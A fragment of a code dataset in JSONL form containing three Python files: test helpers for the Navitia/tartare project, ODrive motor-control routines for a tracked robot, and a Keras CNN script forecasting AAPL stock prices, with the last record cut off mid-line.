"PIL.Image.BICUBIC", "line_number": 47, "usage_type": "attribute"}, {"api_name": "PIL.Image", "line_number": 47, "usage_type": "name"}, {"api_name": "torchvision.transforms.RandomHorizontalFlip", "line_number": 48, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 48, "usage_type": "name"}, {"api_name": "torchvision.transforms.ToTensor", "line_number": 49, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 49, "usage_type": "name"}, {"api_name": "torchvision.transforms.Normalize", "line_number": 50, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 50, "usage_type": "name"}, {"api_name": "torchvision.transforms.Compose", "line_number": 52, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 52, "usage_type": "name"}, {"api_name": "torchvision.transforms.Resize", "line_number": 53, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 53, "usage_type": "name"}, {"api_name": "PIL.Image.BICUBIC", "line_number": 53, "usage_type": "attribute"}, {"api_name": "PIL.Image", "line_number": 53, "usage_type": "name"}, {"api_name": "torchvision.transforms.ToTensor", "line_number": 55, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 55, "usage_type": "name"}, {"api_name": "torchvision.transforms.Normalize", "line_number": 57, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 57, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 62, "usage_type": "call"}, {"api_name": "os.path", "line_number": 62, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 63, "usage_type": "call"}, {"api_name": "os.path", "line_number": 63, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 64, "usage_type": "call"}, {"api_name": "os.path", "line_number": 64, "usage_type": "attribute"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 68, "usage_type": "call"}, {"api_name": "torch.utils", "line_number": 68, "usage_type": "attribute"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 69, "usage_type": "call"}, {"api_name": "torch.utils", "line_number": 69, "usage_type": "attribute"}, {"api_name": "os.path.isdir", "line_number": 74, "usage_type": "call"}, {"api_name": "os.path", "line_number": 74, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 75, "usage_type": "call"}, {"api_name": "torchvision.models.resnet18", "line_number": 79, "usage_type": "call"}, {"api_name": "torchvision.models", "line_number": 79, "usage_type": "name"}, {"api_name": "torch.nn.AdaptiveAvgPool2d", "line_number": 81, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 81, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 83, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 83, "usage_type": "name"}, {"api_name": "torch.load", "line_number": 85, "usage_type": "call"}, {"api_name": "torch.load", "line_number": 87, "usage_type": "call"}, {"api_name": "torch.device", "line_number": 93, "usage_type": "call"}, {"api_name": "torch.cuda.is_available", "line_number": 93, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 93, "usage_type": "attribute"}, {"api_name": "torch.nn.CrossEntropyLoss", "line_number": 105, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 105, "usage_type": "name"}, {"api_name": "torch.optim.SGD", "line_number": 107, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 107, "usage_type": "name"}, {"api_name": "torch.optim.lr_scheduler.StepLR", "line_number": 110, "usage_type": "call"}, {"api_name": "torch.optim.lr_scheduler", "line_number": 110, "usage_type": "name"}, {"api_name": "train_model.train_model", "line_number": 113, "usage_type": "call"}]} +{"seq_id": "81251079", "text": "# coding=utf-8\n\n# Copyright (c) 2001-2016, Canal TP and/or its affiliates. All rights reserved.\n#\n# This file is part of Navitia,\n# the software to build cool stuff with public transport.\n#\n# Hope you'll enjoy and contribute to this project,\n# powered by Canal TP (www.canaltp.fr).\n# Help us simplify mobility and open public transport:\n# a non ending quest to the responsive locomotion way of traveling!\n#\n# LICENCE: This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU Affero General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU Affero General Public License for more details.\n#\n# You should have received a copy of the GNU Affero General Public License\n# along with this program. If not, see .\n#\n# Stay tuned using\n# twitter @navitia\n# IRC #navitia on freenode\n# https://groups.google.com/d/forum/navitia\n# www.navitia.io\nimport json\nimport os\nimport tempfile\nfrom zipfile import ZipFile\n\nfrom mock import MagicMock\nfrom requests import Response\n\nfrom tartare.helper import FilesCountNotMatch, FilesContentNotMatch, are_files_equals\n\n\ndef to_dict(response):\n return json.loads(response.data.decode(\"utf-8\"))\n\n\ndef to_json(dict):\n return json.dumps(dict)\n\n\ndef delete(app, url):\n \"\"\"\n post on API with params as json\n \"\"\"\n return app.delete(url)\n\n\ndef post(app, url, params, headers={\"Content-Type\": \"application/json\"}):\n \"\"\"\n post on API with params as json\n \"\"\"\n return app.post(url, headers=headers, data=params)\n\n\ndef patch(app, url, params, headers={\"Content-Type\": \"application/json\"}):\n \"\"\"\n patch on API with params as json\n \"\"\"\n return app.patch(url, headers=headers, data=params)\n\n\ndef mock_requests_post(url, files, timeout):\n return get_response()\n\n\ndef get_response(status_code: int = 200, content: str = None) -> Response:\n response = MagicMock()\n response.status_code = status_code\n if content:\n response.content = content\n return response\n\n\ndef _get_file_fixture_full_path(rel_path):\n return \"{}/{}\".format(\"{}/{}\".format(os.path.dirname(os.path.dirname(__file__)), \"tests/fixtures\"), rel_path)\n\n\ndef assert_zip_contains_only_files_with_extensions(zip_file, extensions):\n for zip_info in zip_file.filelist:\n assert zip_info.filename[-3:] in extensions, print(\n \"file {filename} should not be in zip archive (only {extensions} files allowed)\".format(\n filename=zip_info.filename, extensions=\",\".join(extensions)\n )\n )\n\n\ndef assert_zip_contains_only_txt_files(zip_file):\n assert_zip_contains_only_files_with_extensions(zip_file, [\"txt\"])\n\n\ndef display_files_content(result_content, expected_content):\n print(\n \"RESULT\\n{res_content}\\n(len={res_len})\\n<========>\\nEXPECTED\\n{exp_content}\\n(len={exp_len})\".format(\n res_content=result_content,\n res_len=len(result_content),\n exp_content=expected_content,\n exp_len=len(expected_content),\n )\n )\n\n\ndef assert_files_equals(result_file_name, fixture_file_name, skip_files=None, only_files=None, work_dir=None):\n try:\n are_files_equals(result_file_name, fixture_file_name, skip_files, only_files, work_dir)\n except FilesContentNotMatch as e:\n display_files_content(e.result, e.expected)\n raise e\n\n\ndef assert_in_memory_zip_equals_ref_zip_file(\n result_content, fixture_file, work_dir=None, skip_files=None, only_files=None\n):\n skip_files = skip_files if skip_files else []\n only_files = only_files if only_files else []\n extension = os.path.splitext(fixture_file)[1]\n with tempfile.TemporaryDirectory(dir=work_dir) as extract_result_tmp:\n result_file_name = \"{}/file{}\".format(extract_result_tmp, extension)\n with open(result_file_name, \"wb\") as f:\n f.write(result_content)\n assert_files_equals(\n result_file_name, _get_file_fixture_full_path(fixture_file), skip_files, only_files, work_dir\n )\n\n\ndef assert_in_memory_zip_contains_expected_files(output_content, work_dir=None, expected_files=[]):\n with tempfile.TemporaryDirectory(dir=work_dir) as extract_output_tmp:\n output_file_name = \"{}/output_ntfs.zip\".format(extract_output_tmp)\n with open(output_file_name, \"wb\") as f:\n f.write(output_content)\n with ZipFile(output_file_name, \"r\") as output_zip_handle:\n output_file_list = output_zip_handle.namelist()\n for expected_file in expected_files:\n assert expected_file in output_file_list\n", "sub_path": "tests/utils.py", "file_name": "utils.py", "file_ext": "py", "file_size_in_byte": 4884, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "json.loads", "line_number": 43, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 47, "usage_type": "call"}, {"api_name": "mock.MagicMock", "line_number": 76, "usage_type": "call"}, {"api_name": "requests.Response", "line_number": 75, "usage_type": "name"}, {"api_name": "os.path.dirname", "line_number": 84, "usage_type": "call"}, {"api_name": "os.path", "line_number": 84, "usage_type": "attribute"}, {"api_name": "tartare.helper.are_files_equals", "line_number": 113, "usage_type": "call"}, {"api_name": "tartare.helper.FilesContentNotMatch", "line_number": 114, "usage_type": "name"}, {"api_name": "os.path.splitext", "line_number": 124, "usage_type": "call"}, {"api_name": "os.path", "line_number": 124, "usage_type": "attribute"}, {"api_name": "tempfile.TemporaryDirectory", "line_number": 125, "usage_type": "call"}, {"api_name": "tempfile.TemporaryDirectory", "line_number": 135, "usage_type": "call"}, {"api_name": "zipfile.ZipFile", "line_number": 139, "usage_type": "call"}]} +{"seq_id": "631495416", "text": "from __future__ import print_function, division\n\nimport math\nimport odrive\nfrom odrive.enums import *\nimport time\nimport config\nfrom tabulate import tabulate\n\nodrives = {}\n\n\ndef full_reset_and_calibrate_all():\n global odrives\n \"\"\"Completely resets all odrives, calibrates axis0 and configures axis0 to only encoder index search\n on startup and be ready in AXIS_STATE_CLOSED_LOOP_CONTROL\"\"\"\n\n print(\"Starting full reset and calibrate\")\n for drive_name, drive in odrives.items():\n drive_cfg = config.ODRIVES[drive_name]\n drive.erase_configuration()\n print(\"Erased odrive \" + drive_name + \"(\" + drive_cfg[\"SERIAL_NO\"] + \")\")\n try: # Reboot causes loss of connection, use try to supress errors\n drive.reboot()\n except Exception as e:\n print(\"Suppressed error during reboot of \" + drive_name + \"(\" + drive_cfg[\"SERIAL_NO\"] + \"): \" + str(e))\n pass\n print(\"Rebooted odrive \" + drive_name + \"(\" + drive_cfg[\"SERIAL_NO\"] + \")\")\n connect_all()\n\n for drive_name, drive in odrives.items():\n drive_cfg = config.ODRIVES[drive_name]\n for axis_id in range(2):\n if axis_id == 0:\n axis = drive.axis0\n else:\n axis = drive.axis1\n axis.motor.config.pre_calibrated = True # Set all the flags required for pre calibration\n axis.encoder.config.pre_calibrated = True\n axis.encoder.config.use_index = True\n axis.config.startup_encoder_index_search = True # Change startup sequence\n axis.config.startup_closed_loop_control = True\n axis.motor.config.current_lim = 50\n axis.requested_state = AXIS_STATE_FULL_CALIBRATION_SEQUENCE # Calibrate\n print(\n \"Started calibration of odrive \" + drive_name + \"(\" + drive_cfg[\"SERIAL_NO\"] + \") axis \" + str(axis_id),\n end=\"\")\n while axis.current_state != AXIS_STATE_IDLE: # Wait for calibration to be done\n time.sleep(0.5)\n print(\".\", end=\"\")\n print(\"\\n Calibration of odrive \" + drive_name + \"(\" + drive_cfg[\"SERIAL_NO\"] + \") axis \" + str(\n axis_id) + \" complete\")\n drive.save_configuration()\n axis.requested_state = AXIS_STATE_CLOSED_LOOP_CONTROL\n print(\"Calibrations complete\")\n set_all_limits()\n\n\ndef stop_all():\n for drive_name, drive in odrives.items():\n set_axis_rps(drive.axis0, 0)\n set_axis_rps(drive.axis1, 0)\n print(\"Stopped all odrives\")\n\n\ndef set_axis_position(axis, pos):\n axis.controller.config.control_mode = CTRL_MODE_POSITION_CONTROL\n axis.controller.pos_setpoint = pos\n\n\ndef add_axis_position(axis, pos):\n axis.controller.config.control_mode = CTRL_MODE_POSITION_CONTROL\n original_pos = axis.encoder.pos_estimate\n axis.controller.pos_setpoint = pos + original_pos\n return pos + original_pos\n\n\ndef add_axis_distance(axis, dis):\n pos = dis * config.DRIVE[\"DRIVE_GEARING\"] / (2 * math.pi * config.DRIVE[\"WHEEL_RADIUS\"]) * config.DRIVE[\"RADIAN\"]\n pos = add_axis_position(axis, pos)\n return pos / config.DRIVE[\"DRIVE_GEARING\"] * (2 * math.pi * config.DRIVE[\"WHEEL_RADIUS\"]) / config.DRIVE[\"RADIAN\"]\n\n\ndef set_axis_rps(axis, rps):\n axis.controller.config.control_mode = CTRL_MODE_VELOCITY_CONTROL\n axis.controller.vel_setpoint = rps * config.DRIVE[\"RADIAN\"]\n\n\ndef set_axis_drive_velocity(axis, v):\n rps = v * config.DRIVE[\"DRIVE_GEARING\"] / (2 * math.pi * config.DRIVE[\"WHEEL_RADIUS\"])\n set_axis_rps(axis, rps)\n\n\ndef set_axis_flipper_velocity(axis, v):\n rps = v * config.DRIVE[\"FLIPPER_GEARING\"]\n set_axis_rps(axis, rps)\n\n\ndef drive_distance(distance, angular_distance):\n if abs(angular_distance) > 1e-6:\n radius = distance / angular_distance\n radius_l = radius + config.DRIVE[\"TRACKS_SEPARATION\"] / 2\n radius_r = radius - config.DRIVE[\"TRACKS_SEPARATION\"] / 2\n distance_l = radius_l * angular_distance\n distance_r = radius_r * angular_distance\n else:\n distance_l = distance\n distance_r = distance\n axes = (odrives[\"DRIVE\"].axis0, odrives[\"DRIVE\"].axis1)\n\n add_axis_distance(axes[config.ODRIVES[\"DRIVE\"][\"LEFT\"][\"AXIS\"]],\n distance_l * config.ODRIVES[\"DRIVE\"][\"LEFT\"][\"DIRECTION\"])\n add_axis_distance(axes[config.ODRIVES[\"DRIVE\"][\"RIGHT\"][\"AXIS\"]],\n distance_r * config.ODRIVES[\"DRIVE\"][\"RIGHT\"][\"DIRECTION\"])\n\n\ndef drive_velocity(speed, angular_speed):\n if abs(angular_speed) > 1e-6:\n radius = speed / angular_speed\n radius_l = radius + config.DRIVE[\"TRACKS_SEPARATION\"] / 2\n radius_r = radius - config.DRIVE[\"TRACKS_SEPARATION\"] / 2\n speed_l = radius_l * angular_speed\n speed_r = radius_r * angular_speed\n else:\n speed_l = speed\n speed_r = speed\n axes = (odrives[\"DRIVE\"].axis0, odrives[\"DRIVE\"].axis1)\n\n set_axis_drive_velocity(axes[config.ODRIVES[\"DRIVE\"][\"LEFT\"][\"AXIS\"]],\n speed_l * config.ODRIVES[\"DRIVE\"][\"LEFT\"][\"DIRECTION\"])\n\n set_axis_drive_velocity(axes[config.ODRIVES[\"DRIVE\"][\"LEFT\"][\"AXIS\"]],\n speed_r * config.ODRIVES[\"DRIVE\"][\"RIGHT\"][\"DIRECTION\"])\n\n\ndef flipper_position(front, rear):\n axes = (odrives[\"FLIPPER\"].axis0, odrives[\"FLIPPER\"].axis1)\n set_axis_position(axes[config.ODRIVES[\"FLIPPER\"][\"FRONT\"][\"AXIS\"]], front)\n set_axis_position(axes[config.ODRIVES[\"FLIPPER\"][\"REAR\"][\"AXIS\"]], rear)\n\n\ndef flipper_velocity(front, rear):\n axes = (odrives[\"FLIPPER\"].axis0, odrives[\"FLIPPER\"].axis1)\n set_axis_flipper_velocity(axes[config.ODRIVES[\"FLIPPER\"][\"FRONT\"][\"AXIS\"]], front)\n set_axis_flipper_velocity(axes[config.ODRIVES[\"FLIPPER\"][\"REAR\"][\"AXIS\"]], rear)\n\n\ndef set_acc_limits(drive, flipper):\n odrives[\"DRIVE\"].axis0.controller.config.accel_limit = drive * config.DRIVE[\"DRIVE_GEARING\"] * config.DRIVE[\"CPR\"]\n odrives[\"DRIVE\"].axis0.controller.config.decel_limit = drive * config.DRIVE[\"DRIVE_GEARING\"] * config.DRIVE[\"CPR\"]\n\n odrives[\"DRIVE\"].axis1.controller.config.accel_limit = drive * config.DRIVE[\"DRIVE_GEARING\"] * config.DRIVE[\"CPR\"]\n odrives[\"DRIVE\"].axis1.controller.config.decel_limit = drive * config.DRIVE[\"DRIVE_GEARING\"] * config.DRIVE[\"CPR\"]\n\n odrives[\"DRIVE\"].axis0.controller.config.accel_limit = flipper * config.DRIVE[\"FLIPPER_GEARING\"] * config.DRIVE[\n \"CPR\"]\n odrives[\"DRIVE\"].axis0.controller.config.decel_limit = flipper * config.DRIVE[\"FLIPPER_GEARING\"] * config.DRIVE[\n \"CPR\"]\n\n odrives[\"DRIVE\"].axis1.controller.config.accel_limit = flipper * config.DRIVE[\"FLIPPER_GEARING\"] * config.DRIVE[\n \"CPR\"]\n odrives[\"DRIVE\"].axis1.controller.config.decel_limit = flipper * config.DRIVE[\"FLIPPER_GEARING\"] * config.DRIVE[\n \"CPR\"]\n\n\ndef set_vel_limits(drive, flipper): # IN REVOLUTIONS PER SECOND\n global odrives\n\n odrives[\"DRIVE\"].axis0.controller.config.vel_limit = drive * config.DRIVE[\"DRIVE_GEARING\"] * config.DRIVE[\"CPR\"]\n odrives[\"DRIVE\"].axis1.controller.config.vel_limit = drive * config.DRIVE[\"DRIVE_GEARING\"] * config.DRIVE[\"CPR\"]\n\n odrives[\"FLIPPER\"].axis0.controller.config.vel_limit = flipper * config.DRIVE[\"FLIPPER_GEARING\"] * config.DRIVE[\n \"CPR\"]\n odrives[\"FLIPPER\"].axis1.controller.config.vel_limit = flipper * config.DRIVE[\"FLIPPER_GEARING\"] * config.DRIVE[\n \"CPR\"]\n\n\ndef set_curr_limits(drive, flipper):\n global odrives\n\n odrives[\"DRIVE\"].axis0.motor.config.current_lim = drive\n odrives[\"DRIVE\"].axis1.motor.config.current_lim = drive\n\n odrives[\"FLIPPER\"].axis0.motor.config.current_lim = flipper\n odrives[\"FLIPPER\"].axis1.motor.config.current_lim = flipper\n\n\ndef init():\n connect_all()\n for drive_name, drive in odrives.items():\n print(\"Bus voltage is \" + str(drive.vbus_voltage) + \"V\")\n set_all_limits()\n\n\ndef set_all_limits():\n set_vel_limits(config.DRIVE[\"MAX_DRIVE_SPEED\"], config.DRIVE[\"MAX_FLIPPER_SPEED\"])\n # set_acc_limits(1)\n set_curr_limits(config.DRIVE[\"MAX_CURRENT\"], config.DRIVE[\"MAX_CURRENT\"])\n\n\ndef connect_all():\n global odrives\n odrives = {}\n print(\"Starting connect to all\")\n for drive_name, drive_cfg in config.ODRIVES.items():\n print(\"Finding odrive \" + drive_name + \"(\" + drive_cfg[\"SERIAL_NO\"] + \")\")\n odrives[drive_name] = odrive.find_any(serial_number=drive_cfg[\"SERIAL_NO\"])\n print(\"Found odrive \" + drive_name + \"(\" + drive_cfg[\"SERIAL_NO\"] + \")\")\n print(\"Connected to all\")\n\n\ndef axis_states():\n axes = {}\n axes[\"FRONT_FLIPPER\"] = odrives[\"FLIPPER\"].axis0\n axes[\"REAR_FLIPPER\"] = odrives[\"FLIPPER\"].axis1\n axes[\"LEFT_DRIVE\"] = odrives[\"DRIVE\"].axis0\n axes[\"RIGHT_DRIVE\"] = odrives[\"DRIVE\"].axis1\n \n axis_info = []\n \n for name, axis in axes.items():\n axis_info.append(\n [\n name,\n AXIS_STATE(axis.current_state),\n CTRL_MODE(axis.controller.config.control_mode),\n axis.controller.pos_setpoint,\n axis.motor.config.current_lim,\n axis.controller.current_setpoint,\n axis.controller.config.vel_limit,\n hex(axis.error),\n hex(axis.motor.error),\n hex(axis.controller.error)\n ],\n )\n\n print(tabulate(axis_info, [\"NAME\", \"AXIS_STATE\", \"CTRL_MODE\", \"POS_SETPOINT\", \"CURRENT_LIM\", \"CURRENT_SETPOINT\", \"VEL_LIM\", \"ER\", \"M_ER\", \"C_ER\"]))\n\n\ndef CTRL_MODE(number):\n return list(config.CTRL_MODES_ENUM.keys())[list(config.CTRL_MODES_ENUM.values()).index(number)]\n\n\ndef AXIS_STATE(number):\n return list(config.AXIS_STATES_ENUM.keys())[list(config.AXIS_STATES_ENUM.values()).index(number)]\n", "sub_path": "catkin_ws/src/nuc_main/src/drive.py", "file_name": "drive.py", "file_ext": "py", "file_size_in_byte": 9747, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "config.ODRIVES", "line_number": 20, "usage_type": "attribute"}, {"api_name": "config.ODRIVES", "line_number": 32, "usage_type": "attribute"}, {"api_name": "time.sleep", "line_number": 49, "usage_type": "call"}, {"api_name": "config.DRIVE", "line_number": 79, "usage_type": "attribute"}, {"api_name": "math.pi", "line_number": 79, "usage_type": "attribute"}, {"api_name": "config.DRIVE", "line_number": 81, "usage_type": "attribute"}, {"api_name": "math.pi", "line_number": 81, "usage_type": "attribute"}, {"api_name": "config.DRIVE", "line_number": 86, "usage_type": "attribute"}, {"api_name": "config.DRIVE", "line_number": 90, "usage_type": "attribute"}, {"api_name": "math.pi", "line_number": 90, "usage_type": "attribute"}, {"api_name": "config.DRIVE", "line_number": 95, "usage_type": "attribute"}, {"api_name": "config.DRIVE", "line_number": 102, "usage_type": "attribute"}, {"api_name": "config.DRIVE", "line_number": 103, "usage_type": "attribute"}, {"api_name": "config.ODRIVES", "line_number": 111, "usage_type": "attribute"}, {"api_name": "config.ODRIVES", "line_number": 112, "usage_type": "attribute"}, {"api_name": "config.ODRIVES", "line_number": 113, "usage_type": "attribute"}, {"api_name": "config.ODRIVES", "line_number": 114, "usage_type": "attribute"}, {"api_name": "config.DRIVE", "line_number": 120, "usage_type": "attribute"}, {"api_name": "config.DRIVE", "line_number": 121, "usage_type": "attribute"}, {"api_name": "config.ODRIVES", "line_number": 129, "usage_type": "attribute"}, {"api_name": "config.ODRIVES", "line_number": 130, "usage_type": "attribute"}, {"api_name": "config.ODRIVES", "line_number": 132, "usage_type": "attribute"}, {"api_name": "config.ODRIVES", "line_number": 133, "usage_type": "attribute"}, {"api_name": "config.ODRIVES", "line_number": 138, "usage_type": "attribute"}, {"api_name": "config.ODRIVES", "line_number": 139, "usage_type": "attribute"}, {"api_name": "config.ODRIVES", "line_number": 144, "usage_type": "attribute"}, {"api_name": "config.ODRIVES", "line_number": 145, "usage_type": "attribute"}, {"api_name": "config.DRIVE", "line_number": 149, "usage_type": "attribute"}, {"api_name": "config.DRIVE", "line_number": 150, "usage_type": "attribute"}, {"api_name": "config.DRIVE", "line_number": 152, "usage_type": "attribute"}, {"api_name": "config.DRIVE", "line_number": 153, "usage_type": "attribute"}, {"api_name": "config.DRIVE", "line_number": 155, "usage_type": "attribute"}, {"api_name": "config.DRIVE", "line_number": 157, "usage_type": "attribute"}, {"api_name": "config.DRIVE", "line_number": 160, "usage_type": "attribute"}, {"api_name": "config.DRIVE", "line_number": 162, "usage_type": "attribute"}, {"api_name": "config.DRIVE", "line_number": 169, "usage_type": "attribute"}, {"api_name": "config.DRIVE", "line_number": 170, "usage_type": "attribute"}, {"api_name": "config.DRIVE", "line_number": 172, "usage_type": "attribute"}, {"api_name": "config.DRIVE", "line_number": 174, "usage_type": "attribute"}, {"api_name": "config.DRIVE", "line_number": 196, "usage_type": "attribute"}, {"api_name": "config.DRIVE", "line_number": 198, "usage_type": "attribute"}, {"api_name": "config.ODRIVES.items", "line_number": 205, "usage_type": "call"}, {"api_name": "config.ODRIVES", "line_number": 205, "usage_type": "attribute"}, {"api_name": "odrive.find_any", "line_number": 207, "usage_type": "call"}, {"api_name": "tabulate.tabulate", "line_number": 237, "usage_type": "call"}, {"api_name": "config.CTRL_MODES_ENUM.keys", "line_number": 241, "usage_type": "call"}, {"api_name": "config.CTRL_MODES_ENUM", "line_number": 241, "usage_type": "attribute"}, {"api_name": "config.CTRL_MODES_ENUM.values", "line_number": 241, "usage_type": "call"}, {"api_name": "config.AXIS_STATES_ENUM.keys", "line_number": 245, "usage_type": "call"}, {"api_name": "config.AXIS_STATES_ENUM", "line_number": 245, "usage_type": "attribute"}, {"api_name": "config.AXIS_STATES_ENUM.values", "line_number": 245, "usage_type": "call"}]} +{"seq_id": "437234334", "text": "#Review more moving to class then begin hyperp tuning\nfrom math import sqrt\nfrom numpy import split, array\nfrom pandas import read_csv\nfrom sklearn.metrics import mean_squared_error\nfrom matplotlib import pyplot as plt\nfrom keras.models import Sequential\nfrom keras.layers import Dense, Flatten, Dropout\nfrom keras.layers.convolutional import Conv1D, MaxPooling1D\nfrom tensorflow.keras.optimizers import Adam\nfrom keras.constraints import maxnorm\nfrom sklearn.preprocessing import RobustScaler\nimport pandas as pd\nimport numpy as np\nimport matplotlib.dates as mdates\nfrom datetime import datetime, date\nfrom importlib import reload\nimport sys\nsys.path.append(\"/home/ubuntu/model_testing\")\nfrom equity_classes import classes as cl\nimport random\n\n'''\nThe best parameters applied and used with this Multivairate model:\n[10, 25, 700, 64, 1, 5, 0.005, 'tanh', 0.5] - 125 and 131 epochs on repeats early stopping\n[10, 25, 135, 64, 1, 5, 0.005, 'tanh', 0.5]\n'''\n\ndef evaluate_forecasts(actual, predicted):\n\tscores = list()\n\t# calculate an RMSE score for each day\n\tfor i in range(actual.shape[1]):\n\t\t# calculate mse\n\t\tmse = mean_squared_error(actual[:, i], predicted[:, i])\n\t\t# calculate rmse\n\t\trmse = sqrt(mse)\n\t\t# store\n\t\tscores.append(rmse)\n\t# calculate overall RMSE\n\ts = 0\n\tfor row in range(actual.shape[0]):\n\t\tfor col in range(actual.shape[1]):\n\t\t\ts += (actual[row, col] - predicted[row, col])**2\n\tscore = sqrt(s / (actual.shape[0] * actual.shape[1]))\n\treturn score, scores\n\n# summarize scores\ndef summarize_scores(name, score, scores):\n\ts_scores = ', '.join(['%.1f' % s for s in scores])\n\tprint('%s: [%.3f] %s' % (name, score, s_scores))\n\n\n\n\t# train is now the entire set\ndef build_model(train_x, train_y, config):\n\n\tn_input, n_nodes, n_epochs, n_batch, n_diff, n_out, n_lr, n_actfn, n_dropout = config\n\n\t# define parameters\n\tn_timesteps, n_features, n_outputs = train_x.shape[1], train_x.shape[2], train_y.shape[1]\n\t# define model\n\tmodel = Sequential()\n\tmodel.add(Conv1D(16, 3, activation=n_actfn, input_shape=(n_timesteps,n_features)))\n\tmodel.add(MaxPooling1D())\n\tmodel.add(Flatten())\n\tmodel.add(Dense(n_nodes, activation=n_actfn))\n\tmodel.add(Dropout(n_dropout))\n\tmodel.add(Dense(n_nodes//2, activation=n_actfn, kernel_constraint=maxnorm(3))) #impose constraint on the layer weights\n\tmodel.add(Dense(n_outputs))\n\tdecay_rate = n_lr / n_epochs\n\tADAM = Adam(lr=n_lr, decay=decay_rate, beta_1=0.9, beta_2=0.999, amsgrad=False)\n\tmodel.compile(loss='mae', optimizer=ADAM)\n\t# fit network\n\tmodel.fit(train_x, train_y, epochs=n_epochs, batch_size=n_batch, verbose=0)\n\n\treturn model\n\ndef forecast(model, input_x):\n\n\t# forecast the next 5 days - reshape from 2d to 3d in preparation\n\tinput_x = input_x.reshape(1, input_x.shape[0], input_x.shape[1])\n\tyhat = model.predict(input_x, verbose=0)\n\n\treturn yhat\n\t#return aapl.invert_scale(scaler_y, yhat)\n\n\ndef get_difference_pct(data, interval=1):\n\t'''Takes in a 2d dataset and an interval (default is 1), then returns\n a differenced value'''\n\n\tdiff = list()\n\tfor i in range(interval, len(data)):\n\t\tvalue = (data[i] - data[i - interval]) / data[i - interval]\n\t\tdiff.append(value)\n\n\treturn diff\n\n\ndef invert_difference_pct(data, data_diff, interval=1):\n\t'''Takes in a 2d dataset and an interval (default is 1), then returns\n a differenced value'''\n\n\tdiff = list()\n\tdiff.append(data[0])\n\tfor i in range(len(data_diff)):\n\t\tvalue = (data_diff[i] * data[i]) + data[i]\n\t\tdiff.append(value)\n\n\treturn diff\n\n\n # evaluate a single model\ndef evaluate_model(data, config):\n\tn_input, n_nodes, n_epochs, n_batch, n_diff, n_out, n_lr, n_actfn, n_dropout = config\n\n\tdata_diff = np.array(get_difference_pct(data, n_diff))\n\ttrain_x, train_y = aapl.to_supervised(data_diff, n_input, n_out)\n\tmodel = build_model(train_x, train_y, config)\n\n\t# walk-forward validation over each week\n\tpredictions, actuals, predictions_ff = list(), list(), list()\n\tn_start = n_input\n\tfor i in range(len(train_x)):\n\t\t# predict the week - note forecast_c() allows for differencing and includes n_diff\n\t\tyhat_sequence = forecast(model, train_x[i, :, :])\n\n\t\t# store the predictions\n\t\t# get real observation and add to history for predicting the next n days using the forecast() function\n\t\t#history = np.vstack((history, data[i, :]))\n\n\n\t\tn_end = n_start + n_out\n\t\tif n_end <= len(data): #Allows for the EoF\n\t\t\tactuals.append(data[n_start:n_end, 0])\n\n\t\t\t#Calculate predictions based on using each actual, previous day - not realistic because\n\t\t\t#we will not have each previous day when making a real world n_out day foreccast.\n\t\t\t#This should not be used to minimize error\n\t\t\tday0_n_out_less_diff = data[n_start - n_diff:n_end - n_diff, 0].flatten()\n\t\t\tpredictions.append((day0_n_out_less_diff * yhat_sequence) + day0_n_out_less_diff)\n\t\t\t#####################################################################################\n\n\t\t\t# If predictions are done on day's 1 - n_out, this is day 0 of an undifferenced data set\n\t\t\t#Predictions_ff should be used for minimizing the error and for subsequent yhat\n\t\t\tyhat_sequence_n = [] #instantiate each time a new sequence is generated (inside for loop)\n\t\t\tday0 = data[n_start - n_diff, 0] #pull day 0 of the sequence\n\t\t\tfor yhat_pct in yhat_sequence.flatten(): # extract each % prediction - day 1 - day n_out\n\t\t\t\tyhat = (yhat_pct * day0) + day0 #add the predicted % change to day0\n\t\t\t\tyhat_sequence_n.append(yhat) #add to the undifferenced yhat_sequence_undifferenced\n\t\t\t\tday0 = yhat # update day0 to the next predicted day along\n\t\t\tpredictions_ff.append(yhat_sequence_n) # add the n_out sequence to the overall prediction list\n\t\t\t#####################################################################################\n\t\tn_start += 1\n\n\t# evaluate predictions days for each week\n\tactuals = array(actuals)\n\tpredictions = array(predictions)\n\tpredictions_ff = array(predictions_ff)\n\n\tactuals = actuals.reshape(actuals.shape[0], actuals.shape[1], 1)\n\tpredictions = predictions.reshape(predictions.shape[0], predictions.shape[2], predictions.shape[1])\n\tpredictions_ff = predictions_ff.reshape(predictions_ff.shape[0], predictions_ff.shape[1], 1)\n\n\n\treturn actuals, predictions, predictions_ff, model\n\n\n#data=ds\naapl = cl.parent_rnn('AAPL') #instantiate the object\nimport_df = aapl.get_prepare_stock_data()\nds = aapl.process_data(import_df)\n\n#When calling this function, set ndim=1 for univariate, and anything else for multivariate\ndata = aapl.prepare_variate(ds, 0)\n\n\nconfig = [10, 25, 135, 64, 1, 5, 0.005, 'tanh', 0.5]\n\nactuals, predictions, predictions_ff, cnn_seq_model = evaluate_model(data, config)\nscore, scores = evaluate_forecasts(actuals, predictions) #y is used to calculate loss for yhat\nscore_ff, scores_ff = 